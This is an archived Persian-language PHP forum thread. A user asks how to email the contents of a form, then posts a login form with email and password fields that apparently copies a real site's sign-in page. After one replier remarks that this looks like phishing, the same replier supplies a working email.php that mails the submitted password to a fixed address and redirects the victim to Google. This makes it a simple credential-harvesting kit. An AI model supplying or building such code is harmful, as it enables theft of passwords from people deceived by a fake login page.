PDA

View Full Version : ارسال اطلاعات به ایمیل



xrezax
دوشنبه 07 آذر 1390, 11:15 صبح
سلام
چطور میشه من یک فرم یا دو تکست باکس و یک دکمه بسازم و وقتی که روی دکمه کلیک کنم محتوای اون دو تکست باکس رو برام ایمیل کنه و اگه ایمیل ارسال شد سابت گوگل و باز کنه و اگر ارسال نشد سایت یاهو باز بشه.

از این سورس استفاده می کنم.
اگه سورس بهتری دارین ممنون میشم قرار بدین




<?php
$to="User@Site.com";
$subject="New Password";
$msg="Hi, Your New Password is : 123";

if(mail($to,$subject,$msg))
{
echo 'Email Has Sent!';
}
else
{
echo 'Error in sending !!!!';
}
?>

pejman_view
دوشنبه 07 آذر 1390, 11:44 صبح
سلام،

برای انتقال به صفحه دیگر بایستی از دستور زیر استفاده کنید:

header ('location: http://www.google.com');
البته دستور بالا ممکنه در جاهایی با مشکل بر بخوره بنابراین می توانید از کد زیر استفاده کنید:


<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.google.com/">

کد بالا هم باید بین دو تگ head قرار بگیره

و روش دیگر استفاده از جاوا اسکریپت است:

<script type="text/javascript"> <!-- window.location = "http://www.google.com/" //--> </script>


و در زیر کد خودتان را اصلاح کردم.


<?php
$to="User@Site.com";
$subject="New Password";
$msg="Hi, Your New Password is : 123";

$msg = eregi_replace (chr(13),'<BR>',$msg);

if(mail($to,$subject,$msg))
{
header ('location: http://www.google.com');
}
else
{
header ('location: http://www.yahoo.com');
}
?>

xrezax
دوشنبه 07 آذر 1390, 11:57 صبح
کد html من اینه


<p><input id="login_email" name="login_email" type="text"></p>
<p><input autocomplete="off" id="login_password" name="login_password" value="" type="password"></p>
<p><input name="submit.x" value="Log In" class="button primary" type="submit"></p>

چطور این فرمو به این php بچسبونم ؟؟؟ یعنی اطلاعات این دوتا تکستو بنویسم و وقتی روی دکمه کلیک کنم ارسال بشن واسم ؟؟

pejman_view
دوشنبه 07 آذر 1390, 12:16 عصر
سلام

دنبال مقالاتی در مورد phishing بگردید در انجا کامل توضیح داده اند.

با تشکر

xrezax
دوشنبه 07 آذر 1390, 12:29 عصر
شما راه حلی سورسی چیزی نداری دمه دست. لازم دارم

pejman_view
چهارشنبه 09 آذر 1390, 12:14 عصر
email.php:


<?php
$to="User@Site.com";
$subject="New Password";
$msg="Hi, Your New Password is : ".$_POST['login_password'];

$msg = eregi_replace (chr(13),'',$msg);

if(mail($to,$subject,$msg))
{
header ('location: http://www.google.com');
}
else
{
header ('location: http://www.yahoo.com');
}
?>


index.html:


<form method="POST" action="email.php"
<p><input id="login_email" name="login_email" type="text"></p>
<p><input autocomplete="off" id="login_password" name="login_password" value="" type="password"></p>
<p><input name="submit.x" value="Log In" class="button primary" type="submit"></p>
</form>

rahime
شنبه 09 شهریور 1392, 14:30 عصر
یه سر به این سایت بزن خیلی قشنگ توضیح داده
http://dtuts.net/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%B3%D8%A7%D8%AE%D8%AA-%DB%8C%DA%A9-%D9%81%D8%B1%D9%85-%D8%AA%D9%85%D8%A7%D8%B3%D9%90-%DB%8C%DA%A9-%D8%AF%D8%B3%D8%AA-%D9%88-%D8%AC%D8%B0%D8%A7%D8%A8-%D8%A8%D8%A7-2/

AliRezaPro
شنبه 09 شهریور 1392, 15:53 عصر
سلام

دنبال مقالاتی در مورد phishing بگردید در انجا کامل توضیح داده اند.

با تشکر
phishing ؟! چی رو استارتر تاپیک میخواهد فیشینگ کنند ؟!

----

برای دسترسی به عناصر فرم , باید اول چک کنید که صفحه سابمیت شده است یا خیر و سپس با متدی که صفحه رو پست کردید مقادیر المان ها رو دریافت کنید

<form method="POST" action="email.php"
<p><input id="login_email" name="login_email" type="text"></p>
<p><input autocomplete="off" id="login_password" name="login_password" value="" type="password"></p>
<p><input name="submit" value="Log In" class="button primary" type="submit"></p>
</form>

<?php
if(isset($_POST['submit'])){
if((!empty($_POST['login_password'])) && !empty($_POST['login_email'])){
echo $_POST['login_password'] . " " .$_POST['login_email'];
}
}
?>